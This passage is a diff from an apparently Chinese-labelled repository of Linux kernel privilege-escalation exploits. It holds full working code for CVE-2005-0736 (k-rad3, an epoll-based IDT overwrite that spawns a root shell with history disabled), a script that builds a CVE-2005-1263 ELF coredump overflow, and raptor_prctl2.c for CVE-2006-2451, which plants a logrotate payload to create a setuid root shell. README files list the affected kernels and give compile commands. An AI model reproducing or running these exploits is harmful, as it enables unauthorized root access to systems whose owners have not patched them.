||||
|
||||
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* set uids */
|
||||
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* set gids */
|
||||
|
||||
}
|
||||
|
||||
void kcode(void);
|
||||
void __kcode(void)
|
||||
{
|
||||
asm(
|
||||
"kcode: \n"
|
||||
"cld \n"
|
||||
" pusha \n"
|
||||
" pushl %es \n"
|
||||
" pushl %ds \n"
|
||||
" movl %ss,%edx \n"
|
||||
" movl %edx,%es \n"
|
||||
" movl %edx,%ds \n");
|
||||
__asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) );
|
||||
asm(
|
||||
" andl %esp,%eax \n"
|
||||
" pushl (%eax) \n"
|
||||
" call kernel \n"
|
||||
" addl $4, %esp \n"
|
||||
" popl %ds \n"
|
||||
" popl %es \n"
|
||||
" popa \n"
|
||||
" cli \n"
|
||||
" iret \n"
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
void raise_cap(unsigned long *ts)
|
||||
{
|
||||
/* must be on lower addresses because of kernel arg check :) */
|
||||
static struct __user_cap_header_struct head;
|
||||
static struct __user_cap_data_struct data;
|
||||
static struct __user_cap_data_struct n;
|
||||
|
||||
int i;
|
||||
|
||||
*clear1 = 0;
|
||||
head.version = 0x19980330;
|
||||
head.pid = 0;
|
||||
capget(&head, &data);
|
||||
/* scan the thread_struct */
|
||||
for (i = 0; i < 512; i++, ts++)
|
||||
{
|
||||
/* is it capabilities block? */
|
||||
if ( (ts[0] == data.effective) &&
|
||||
(ts[1] == data.inheritable) &&
|
||||
(ts[2] == data.permitted))
|
||||
{
|
||||
/* set effective cap to some val */
|
||||
ts[0] = 0x12341234;
|
||||
capget(&head, &n);
|
||||
/* and test if it has changed */
|
||||
if (n.effective == ts[0])
|
||||
{
|
||||
/* if so, we're in :) */
|
||||
ts[0] = ts[1] = ts[2] = 0xffffffff;
|
||||
return;
|
||||
}
|
||||
/* otherwise fix back the stuff
|
||||
(if we've not crashed already :) */
|
||||
ts[0] = data.effective;
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
void stub(void);
|
||||
void __stub(void)
|
||||
{
|
||||
asm (
|
||||
"stub:;"
|
||||
" pusha;"
|
||||
);
|
||||
__asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) );
|
||||
asm(
|
||||
" and %esp, %eax;"
|
||||
" pushl (%eax);"
|
||||
" call raise_cap;"
|
||||
" pop %eax;"
|
||||
" popa;"
|
||||
" iret;"
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
|
||||
/* write to kernel from buf, num bytes */
|
||||
static int
|
||||
kwrite(unsigned base, char *buf, int num)
|
||||
{
|
||||
#define DIV 256
|
||||
#define RES 4
|
||||
|
||||
int efd, c, i, fd;
|
||||
int pi[2];
|
||||
struct epoll_event ev;
|
||||
int *stab;
|
||||
unsigned long ptr;
|
||||
int count;
|
||||
unsigned magic = 0xffffffff / 12 + 1;
|
||||
|
||||
printf("[+] kwrite base %p, buf %p,num %d\n", (void *)base,buf,num);
|
||||
/* initialize epoll */
|
||||
efd = epoll_create(4096);
|
||||
if (efd < 0)
|
||||
return -1;
|
||||
|
||||
ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP;
|
||||
|
||||
/* 12 bytes per fd + one more to be safely in stack space */
|
||||
count = (num+11)/12+RES;
|
||||
|
||||
/* desc array */
|
||||
stab = alloca((count+DIV-1)/DIV*sizeof(int));
|
||||
|
||||
for (i = 0; i < ((count+DIV-1)/DIV)+1; i++)
|
||||
{
|
||||
|
||||
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0)
|
||||
return -1;
|
||||
|
||||
send(pi[0], "a", 1, 0);
|
||||
stab[i] = pi[1];
|
||||
}
|
||||
|
||||
/* highest fd and first descriptor */
|
||||
fd = pi[1];
|
||||
/* we've to allocate this separately because we need to have
|
||||
it's fd preserved - using this we'll be writing actual bytes */
|
||||
epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev);
|
||||
//printf("EPOLL_CTL_ADD count %u\n",count);
|
||||
for (i = 0, c = 0; i < (count-1); i++)
|
||||
{
|
||||
int n;
|
||||
n = dup2(stab[i/DIV], fd+2+(i % DIV));
|
||||
if (n < 0)
|
||||
return -1;
|
||||
epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev);
|
||||
close(n);
|
||||
}
|
||||
|
||||
/* in 'n' we've the latest fd we're using to write data */
|
||||
for (i = 0; i < ((num+7)/8); i++)
|
||||
{
|
||||
/* data being written from end */
|
||||
memcpy(&ev.data, buf + num - 8 - i * 8, 8);
|
||||
epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev);
|
||||
|
||||
/* the actual kernel magic */
|
||||
ptr = (base + num - (i*8)) - (count * 12);
|
||||
struct epoll_event *events =(struct epoll_event *)ptr;
|
||||
//printf("epoll_wait verify_area(%p,%p) addr %p %p\n",ptr,magic* sizeof(struct epoll_event) ,&events[0].events,magic);
|
||||
int iret =epoll_wait(efd, (void *) ptr, magic, 31337);
|
||||
if (iret ==-1)
|
||||
{
|
||||
perror("epoll_wait");
|
||||
fatal("This kernel not vulnerability!!!");
|
||||
|
||||
}
|
||||
/* don't ask why (rotten rb-trees) :) */
|
||||
if (i)
|
||||
{
|
||||
//printf("epoll_wait verify_area(%p,%p) %p\n",ptr,magic* sizeof(struct epoll_event) ,magic);
|
||||
iret = epoll_wait(efd, (void *)ptr, magic, 31337);
|
||||
if (iret ==-1)
|
||||
{
|
||||
perror("epoll_wait");
|
||||
fatal("This kernel not vulnerability!!!");
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
close(efd);
|
||||
for (i = 3; i <= fd; i++)
|
||||
close(i);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
/* real-mode interrupt table fixup - point all interrupts to iret.
|
||||
let's hope this will shut up apm */
|
||||
static void
|
||||
fixint(char *buf)
|
||||
{
|
||||
unsigned *tab = (void *) buf;
|
||||
int i;
|
||||
|
||||
for (i = 0; i < 256; i++)
|
||||
tab[i] = 0x0000400; /* 0000:0400h */
|
||||
/* iret */
|
||||
buf[0x400] =0xcf;
|
||||
}
|
||||
|
||||
/* establish pte pointing to virtual addr 'addr' */
|
||||
static int
|
||||
map_pte(unsigned base, int pagenr, unsigned addr)
|
||||
{
|
||||
unsigned *buf = alloca(pagenr * 4096 + 8);
|
||||
buf[(pagenr) * 1024] = MKPTE(addr);
|
||||
buf[(pagenr) * 1024+1] = 0;
|
||||
fixint((void *)buf);
|
||||
return kwrite(base, (void *)buf, pagenr * 4096 + 4);
|
||||
}
|
||||
|
||||
/* make pme user can rw */
|
||||
static int
|
||||
map_pme(unsigned base, int pagenr, unsigned addr)
|
||||
{
|
||||
unsigned *buf = alloca(pagenr * 4096 + 32);
|
||||
buf[(pagenr) * 1024] = MKPMD(addr);
|
||||
buf[(pagenr) * 1024+1] = 0;
|
||||
buf[(pagenr) * 1024+2] = MKPMD(addr)|0x00200000;
|
||||
buf[(pagenr) * 1024+3] = 0;
|
||||
fixint((void *)buf);
|
||||
return kwrite(base, (void *)buf, pagenr * 4096 + 4*3);
|
||||
}
|
||||
|
||||
|
||||
static void
|
||||
error(int d)
|
||||
{
|
||||
printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n" KRAD "Try increase nrpages?\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char *bashargv[] = { KRADPS1, NULL };
|
||||
char *bashenvp[] = { "TERM=linux", "PS1=[\\u@"KRADPS1" \\W]\\$ ", "BASH_HISTORY=/dev/null",
|
||||
"HISTORY=/dev/null", "history=/dev/null","HISTFILE=/dev/null",
|
||||
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
|
||||
|
||||
static int
|
||||
exploit(unsigned kernelbase, int npages)
|
||||
{
|
||||
struct idt *idt;
|
||||
struct idtr idtr;
|
||||
|
||||
|
||||
|
||||
signal(SIGSEGV, error);
|
||||
signal(SIGBUS, error);
|
||||
|
||||
|
||||
/* get idt descriptor addr */
|
||||
asm ("sidt %0" : "=m" (idtr));
|
||||
/*
|
||||
* if OS in vmware , idtr.base is not right,please fix it
|
||||
* [alert7@MagicLinux ~]$ cat /boot/System.map|grep idt_table
|
||||
* c0461000 D idt_table
|
||||
* //idtr.base = 0xc0461000;
|
||||
*/
|
||||
|
||||
printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase);
|
||||
|
||||
if ( !definePAE )
|
||||
{
|
||||
map_pte(kernelbase, npages, idtr.base - kernelbase);
|
||||
// idt = pae?(void *)MAP_PAE:(void *)MAP;
|
||||
idt = (struct idt *)MAP;
|
||||
}else
|
||||
{
|
||||
/* TODO: pse disable case */
|
||||
if ( !havepse)
|
||||
printf("[!Waring!] TODO:CONFIG_X86_PAE define ,but cpu flag no pse\n");
|
||||
|
||||
map_pme(kernelbase, npages, idtr.base - kernelbase);
|
||||
idt = (struct idt *) idtr.base;
|
||||
}
|
||||
|
||||
#if 0
|
||||
int * p = (int *) idt;
|
||||
int i;
|
||||
for (i=0;i<1024;i++,p++)
|
||||
printf( "* %p 0x%x\n",p,*p);
|
||||
fflush(stdout);
|
||||
#endif
|
||||
|
||||
/**
|
||||
* cleanup the stuff to prevent others spotting the gate
|
||||
* - must be done from ring 0
|
||||
*/
|
||||
clear1 = (void *) &idt[0x7f];
|
||||
printf("[+] idt[0x7f] addr %p\n",clear1);
|
||||
|
||||
if ( exploitway == 0)
|
||||
{
|
||||
SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &kcode));
|
||||
}
|
||||
else
|
||||
{
|
||||
SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
|
||||
}
|
||||
|
||||
//[2] SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
|
||||
/**
|
||||
* also can use [2] stub function,but it may cause this message
|
||||
*
|
||||
* Sep 11 13:11:59 AD4 kernel: Debug: sleeping function called from invalid context at include/asm/uaccess.h:531
|
||||
* Sep 11 13:11:59 AD4 kernel: in_atomic():0[expected: 0], irqs_disabled():1
|
||||
* Sep 11 13:11:59 AD4 kernel: [<c011ca30>] __might_sleep+0x7d/0x89
|
||||
* Sep 11 13:11:59 AD4 kernel: [<c01270bd>] sys_capget+0x1d5/0x216
|
||||
* Sep 11 13:11:59 AD4 kernel: [<c0301bfb>] syscall_call+0x7/0xb
|
||||
* Sep 11 13:11:59 AD4 kernel: [<c017007b>] pipe_writev+0x24/0x320
|
||||
* Sep 11 13:11:59 AD4 kernel: [<c01619a4>] filp_close+0x59/0x5f
|
||||
*
|
||||
*/
|
||||
|
||||
/* call raise_cap or kernel */
|
||||
asm ("int $0x7f");
|
||||
printf(KRADP "j00 1u(k7 k1d!\n");
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
char cmdbuf[1024];
|
||||
snprintf(cmdbuf,1024,"chown root %s;chmod +s %s",progargv0,progargv0);
|
||||
system(cmdbuf);
|
||||
|
||||
execve("/bin/sh", bashargv, bashenvp);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
static void
|
||||
usage(char *n)
|
||||
{
|
||||
|
||||
printf("\nUsage: %s\n",n);
|
||||
printf("\t-s forced cpu flag pse \n");
|
||||
printf("\t-a define CONFIG_X86_PAE,default none\n");
|
||||
printf("\t-e <num> have two kernel code,default 0\n");
|
||||
printf("\t-p <num> alloc pages(4k) ,default 1. Increase from 1 to 7\n"
|
||||
"\t\tThe higher number the more likely it will crash\n");
|
||||
printf("\t-t <num> default 0 \n"
|
||||
"\t\t0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192\n");
|
||||
printf("\n");
|
||||
_exit(1);
|
||||
}
|
||||
|
||||
|
||||
/*read /proc/cpuinfo to set havepse*/
|
||||
static void
|
||||
read_proc(void)
|
||||
{
|
||||
FILE * fp;
|
||||
char * line = NULL;
|
||||
size_t len = 0;
|
||||
ssize_t read;
|
||||
printf("[+] try open /proc/cpuinfo ..");
|
||||
fp = fopen("/proc/cpuinfo", "r");
|
||||
if (fp == NULL)
|
||||
{
|
||||
printf(" failed!!\n");
|
||||
return;
|
||||
}
|
||||
printf(" ok!!\n");
|
||||
|
||||
int cpus = 0;
|
||||
int pse = 0;
|
||||
while ((read = getline(&line, &len, fp)) != -1)
|
||||
{
|
||||
|
||||
if (strstr(line,"flags"))
|
||||
{
|
||||
if(strstr(line ,"pse "))
|
||||
{
|
||||
pse ++;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
fclose(fp);
|
||||
|
||||
if (line)
|
||||
free(line);
|
||||
|
||||
if ( pse )
|
||||
{
|
||||
printf("[+] find cpu flag pse in /proc/cpuinfo\n");
|
||||
havepse = 1;
|
||||
}
|
||||
|
||||
return ;
|
||||
|
||||
}
|
||||
|
||||
static void
|
||||
get_config(int ac, char **av)
|
||||
{
|
||||
|
||||
uid = getuid();
|
||||
progargv0 = av[0];
|
||||
|
||||
int r;
|
||||
|
||||
while(ac) {
|
||||
r = getopt(ac, av, "e:p:t:ash");
|
||||
|
||||
if(r<0) break;
|
||||
|
||||
switch(r) {
|
||||
|
||||
case 's' :
|
||||
//pse
|
||||
havepse = 1;
|
||||
break;
|
||||
|
||||
case 'a' :
|
||||
//define CONFIG_X86_PAE
|
||||
definePAE = 1;
|
||||
break;
|
||||
|
||||
case 'e' :
|
||||
exploitway = atoi(optarg);
|
||||
if(exploitway<0) fatal("bad exploitway value");
|
||||
break;
|
||||
|
||||
case 'p' :
|
||||
npages = atoi(optarg);
|
||||
break;
|
||||
case 't' :
|
||||
thread_size = atoi(optarg);
|
||||
|
||||
break;
|
||||
|
||||
case 'h' :
|
||||
default:
|
||||
usage(av[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
THREAD_SIZE_MASK = (thread_size==0)?(-4096):(-8192);
|
||||
|
||||
read_proc();
|
||||
}
|
||||
|
||||
static void
|
||||
print_config(unsigned long kernebase)
|
||||
{
|
||||
printf("[+] CONFIG_X86_PAE :%s\n", definePAE ?"ok":"none");
|
||||
printf("[+] Cpu flag: pse %s\n", havepse ?"ok":"none");
|
||||
printf("[+] Exploit Way : %d\n", exploitway);
|
||||
printf("[+] Use %d pages (one page is 4K ),rewrite 0x%lx--(0x%lx + n)\n",
|
||||
npages,kernebase,kernebase+npages*4 kB);
|
||||
printf("[+] thread_size %d (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 \n",thread_size);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
|
||||
void prepare(void)
|
||||
{
|
||||
if (geteuid() == 0)
|
||||
{
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
execve("/bin/sh", bashargv, bashenvp);
|
||||
fatal("[-] Unable to spawn shell");
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
char eater[65536];
|
||||
unsigned long kernelbase;
|
||||
|
||||
/* unlink(argv[0]); */
|
||||
// sync();
|
||||
|
||||
printf(KRS " "KRADPS1" - <=linux 2.6.11 CPL 0 kernel exploit " KRE "\n"
|
||||
KRS "Discovered Jan 2005 by sd <sd@fucksheep.org>" KRE "\n"
|
||||
KRS "Modified 2005/9 by alert7 <alert7@xfocus.org>" KRE "\n");
|
||||
|
||||
if ( (unsigned long)eater > 0xc0000000)
|
||||
{
|
||||
printf("[!Waring!] TODO:use stack > 0xc0000000 \n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
prepare();
|
||||
|
||||
get_config(argc,argv);
|
||||
|
||||
kernelbase =(unsigned long)eater ;
|
||||
kernelbase +=0x0fffffff;
|
||||
kernelbase &=0xf0000000;
|
||||
|
||||
print_config(kernelbase);
|
||||
|
||||
exploit(kernelbase, npages<0?-npages:npages);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
// milw0rm.com [2005-12-30]
|
19
98-Linux提权/2005/CVE-2005-0736/README.md
Normal file
19
98-Linux提权/2005/CVE-2005-0736/README.md
Normal file
@ -0,0 +1,19 @@
|
||||
# CVE-2005-0736
|
||||
|
||||
CVE-2005-0736
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2005-0736](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-0736)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/1397/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
gcc -o k-rad3 k-rad3.c -static -O2
|
||||
```
|
||||
|
||||
|
195
98-Linux提权/2005/CVE-2005-1263/25647.sh
Normal file
195
98-Linux提权/2005/CVE-2005-1263/25647.sh
Normal file
@ -0,0 +1,195 @@
|
||||
/*
|
||||
source: http://www.securityfocus.com/bid/13589/info
|
||||
|
||||
The Linux kernel is susceptible to a local buffer-overflow vulnerability when attempting to create ELF coredumps. This issue is due to an integer-overflow flaw that results in a kernel buffer overflow during a 'copy_from_user()' call.
|
||||
|
||||
To exploit this vulnerability, a malicious user creates a malicious ELF executable designed to create a negative 'len' variable in 'elf_core_dump()'.
|
||||
|
||||
Local users may exploit this vulnerability to execute arbitrary machine code in the context of the kernel, facilitating privilege escalation.
|
||||
|
||||
**Update: This vulnerability does not exist in the 2.6 kernel tree.
|
||||
*/
|
||||
|
||||
#!/bin/bash
|
||||
#
|
||||
# elfcd.sh
|
||||
# warning: This code will crash your machine
|
||||
#
|
||||
cat <<__EOF__>elfcd1.c
|
||||
/*
|
||||
* Linux binfmt_elf core dump buffer overflow
|
||||
*
|
||||
* Copyright (c) 2005 iSEC Security Research. All Rights Reserved.
|
||||
*
|
||||
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
|
||||
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
|
||||
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
|
||||
*
|
||||
*/
|
||||
// phase 1
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/time.h>
|
||||
#include <sys/resource.h>
|
||||
|
||||
#include <asm/page.h>
|
||||
|
||||
|
||||
static char *env[10], *argv[4];
|
||||
static char page[PAGE_SIZE];
|
||||
static char buf[PAGE_SIZE];
|
||||
|
||||
|
||||
void fatal(const char *msg)
|
||||
{
|
||||
if(!errno) {
|
||||
fprintf(stderr, "\nFATAL: %s\n", msg);
|
||||
}
|
||||
else {
|
||||
printf("\n");
|
||||
perror(msg);
|
||||
}
|
||||
fflush(stdout); fflush(stderr);
|
||||
_exit(129);
|
||||
}
|
||||
|
||||
|
||||
int main(int ac, char **av)
|
||||
{
|
||||
int esp, i, r;
|
||||
struct rlimit rl;
|
||||
|
||||
__asm__("movl %%esp, %0" : : "m"(esp));
|
||||
printf("\n[+] %s argv_start=%p argv_end=%p ESP: 0x%x", av[0], av[0], av[ac-1]+strlen(av[ac-1]), esp);
|
||||
rl.rlim_cur = RLIM_INFINITY;
|
||||
rl.rlim_max = RLIM_INFINITY;
|
||||
r = setrlimit(RLIMIT_CORE, &rl);
|
||||
if(r) fatal("setrlimit");
|
||||
|
||||
memset(env, 0, sizeof(env) );
|
||||
memset(argv, 0, sizeof(argv) );
|
||||
memset(page, 'A', sizeof(page) );
|
||||
page[PAGE_SIZE-1]=0;
|
||||
|
||||
// move up env & exec phase 2
|
||||
if(!strcmp(av[0], "AAAA")) {
|
||||
printf("\n[+] phase 2, <RET> to crash "); fflush(stdout);
|
||||
argv[0] = "elfcd2";
|
||||
argv[1] = page;
|
||||
|
||||
// term 0 counts!
|
||||
memset(buf, 0, sizeof(buf) );
|
||||
for(i=0; i<789 + 4; i++)
|
||||
buf[i] = 'C';
|
||||
argv[2] = buf;
|
||||
execve(argv[0], argv, env);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
// move down env & reexec
|
||||
for(i=0; i<9; i++)
|
||||
env[i] = page;
|
||||
|
||||
argv[0] = "AAAA";
|
||||
printf("\n[+] phase 1"); fflush(stdout);
|
||||
execve(av[0], argv, env);
|
||||
|
||||
return 0;
|
||||
}
|
||||
__EOF__
|
||||
cat <<__EOF__>elfcd2.c
|
||||
// phase 2
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <syscall.h>
|
||||
|
||||
#include <sys/syscall.h>
|
||||
|
||||
#include <asm/page.h>
|
||||
|
||||
#define __NR_sys_read __NR_read
|
||||
#define __NR_sys_kill __NR_kill
|
||||
#define __NR_sys_getpid __NR_getpid
|
||||
|
||||
|
||||
char stack[4096 * 6];
|
||||
static int errno;
|
||||
|
||||
|
||||
inline _syscall3(int, sys_read, int, a, void*, b, int, l);
|
||||
inline _syscall2(int, sys_kill, int, c, int, a);
|
||||
inline _syscall0(int, sys_getpid);
|
||||
|
||||
|
||||
// yeah, lets do it
|
||||
void killme()
|
||||
{
|
||||
char c='a';
|
||||
int pid;
|
||||
|
||||
pid = sys_getpid();
|
||||
for(;;) {
|
||||
sys_read(0, &c, 1);
|
||||
sys_kill(pid, 11);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// safe stack stub
|
||||
__asm__(
|
||||
" nop \n"
|
||||
"_start: movl \$0xbfff6ffc, %esp \n"
|
||||
" jmp killme \n"
|
||||
".global _start \n"
|
||||
);
|
||||
__EOF__
|
||||
cat <<__EOF__>elfcd.ld
|
||||
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
|
||||
"elf32-i386")
|
||||
OUTPUT_ARCH(i386)
|
||||
ENTRY(_start)
|
||||
SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib); SEARCH_DIR(/usr/i486-suse-linux/lib);
|
||||
|
||||
MEMORY
|
||||
{
|
||||
ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000
|
||||
rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000
|
||||
}
|
||||
|
||||
PHDRS
|
||||
{
|
||||
headers PT_PHDR PHDRS ;
|
||||
text PT_LOAD FILEHDR PHDRS ;
|
||||
fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00) ;
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
|
||||
.dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = . ; . += 0x7000; } >rom :fuckme
|
||||
|
||||
. = 0xbfff0000 + SIZEOF_HEADERS;
|
||||
.text : { *(.text) } >ram :text
|
||||
.data : { *(.data) } >ram :text
|
||||
.bss :
|
||||
{
|
||||
*(.dynbss)
|
||||
*(.bss)
|
||||
*(.bss.*)
|
||||
*(.gnu.linkonce.b.*)
|
||||
*(COMMON)
|
||||
. = ALIGN(32 / 8);
|
||||
} >ram :text
|
||||
|
||||
}
|
||||
__EOF__
|
||||
|
||||
# compile & run
|
||||
echo -n "[+] Compiling..."
|
||||
gcc -O2 -Wall elfcd1.c -o elfcd1
|
||||
gcc -O2 -nostdlib elfcd2.c -o elfcd2 -Xlinker -T elfcd.ld -static
|
||||
./elfcd1
|
23
98-Linux提权/2005/CVE-2005-1263/README.md
Normal file
23
98-Linux提权/2005/CVE-2005-1263/README.md
Normal file
@ -0,0 +1,23 @@
|
||||
# CVE-2005-1263
|
||||
|
||||
```
|
||||
The elf_core_dump function in binfmt_elf.c for Linux kernel 2.x.x to 2.2.27-rc2, 2.4.x to 2.4.31-pre1,
|
||||
and 2.6.x to 2.6.12-rc4 allows local users to execute arbitrary code via an ELF binary that,
|
||||
in certain conditions involving the create_elf_tables function, causes a negative length argument to pass a signed integer comparison,
|
||||
leading to a buffer overflow.
|
||||
```
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2005-1263](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1263)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/25647/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
Linux kernel 2.x.x to 2.2.27-rc2, 2.4.x to 2.4.31-pre1, and 2.6.x to 2.6.12-rc4
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
109
98-Linux提权/2006/CVE-2006-2451/2031.c
Normal file
109
98-Linux提权/2006/CVE-2006-2451/2031.c
Normal file
@ -0,0 +1,109 @@
|
||||
/*
|
||||
* $Id: raptor_prctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $
|
||||
*
|
||||
* raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
|
||||
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
|
||||
*
|
||||
* The suid_dumpable support in Linux kernel 2.6.13 up to versions before
|
||||
* 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial
|
||||
* of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via
|
||||
* the PR_SET_DUMPABLE argument of the prctl function and a program that causes
|
||||
* a core dump file to be created in a directory for which the user does not
|
||||
* have permissions (CVE-2006-2451).
|
||||
*
|
||||
* This exploit uses the logrotate attack vector: of course, you must be able
|
||||
* to chdir() into the /etc/logrotate.d directory in order to exploit the
|
||||
* vulnerability. I've experimented a bit with other attack vectors as well,
|
||||
* with no luck: at (/var/spool/atjobs/) uses file name information to
|
||||
* establish execution time, /etc/cron.hourly|daily|weekly|monthly want +x
|
||||
* permissions, xinetd (/etc/xinetd.d) puked out the crafted garbage-filled
|
||||
* coredump (see also http://www.0xdeadbeef.info/exploits/raptor_prctl.c).
|
||||
*
|
||||
* Thanks to Solar Designer for the interesting discussion on attack vectors.
|
||||
*
|
||||
* NOTE THAT IN ORDER TO WORK THIS EXPLOIT *MUST* BE STATICALLY LINKED!!!
|
||||
*
|
||||
* Usage:
|
||||
* $ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
|
||||
* [exploit must be statically linked]
|
||||
* $ ./raptor_prctl2
|
||||
* [please wait until logrotate is run]
|
||||
* $ ls -l /tmp/pwned
|
||||
* -rwsr-xr-x 1 root users 7221 2006-07-18 13:32 /tmp/pwned
|
||||
* $ /tmp/pwned
|
||||
* sh-3.00# id
|
||||
* uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
|
||||
* sh-3.00#
|
||||
* [don't forget to delete /tmp/pwned!]
|
||||
*
|
||||
* Vulnerable platforms:
|
||||
* Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define INFO1 "raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)"
|
||||
#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
||||
|
||||
char payload[] = /* commands to be executed by privileged logrotate */
|
||||
"\n/var/log/core {\n daily\n size=0\n firstaction\n chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n endscript\n}\n";
|
||||
|
||||
char pwnage[] = /* build setuid() helper to circumvent bash checks */
|
||||
"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int pid;
|
||||
struct rlimit corelimit;
|
||||
struct stat st;
|
||||
|
||||
/* print exploit information */
|
||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
||||
|
||||
/* prepare the setuid() helper */
|
||||
system(pwnage);
|
||||
|
||||
/* set core size to unlimited */
|
||||
corelimit.rlim_cur = RLIM_INFINITY;
|
||||
corelimit.rlim_max = RLIM_INFINITY;
|
||||
setrlimit(RLIMIT_CORE, &corelimit);
|
||||
|
||||
/* let's create a fake logfile in /var/log */
|
||||
if (!(pid = fork())) {
|
||||
chdir("/var/log");
|
||||
prctl(PR_SET_DUMPABLE, 2);
|
||||
sleep(666);
|
||||
exit(1);
|
||||
}
|
||||
kill(pid, SIGSEGV);
|
||||
|
||||
/* let's do the PR_SET_DUMPABLE magic */
|
||||
if (!(pid = fork())) {
|
||||
chdir("/etc/logrotate.d");
|
||||
prctl(PR_SET_DUMPABLE, 2);
|
||||
sleep(666);
|
||||
exit(1);
|
||||
}
|
||||
kill(pid, SIGSEGV);
|
||||
|
||||
/* did it work? */
|
||||
sleep(3);
|
||||
if ((stat("/var/log/core", &st) < 0) ||
|
||||
(stat("/etc/logrotate.d/core", &st) < 0)) {
|
||||
fprintf(stderr, "Error: Not vulnerable? See comments.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* total pwnage */
|
||||
fprintf(stderr, "Please wait until logrotate is run and check /tmp/pwned;)\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
// milw0rm.com [2006-07-18]
|
||||
|
26
98-Linux提权/2006/CVE-2006-2451/README.md
Normal file
26
98-Linux提权/2006/CVE-2006-2451/README.md
Normal file
@ -0,0 +1,26 @@
|
||||
# CVE-2006-2451
|
||||
|
||||
CVE-2006-2451
|
||||
|
||||
Vulnerability reference:
|
||||
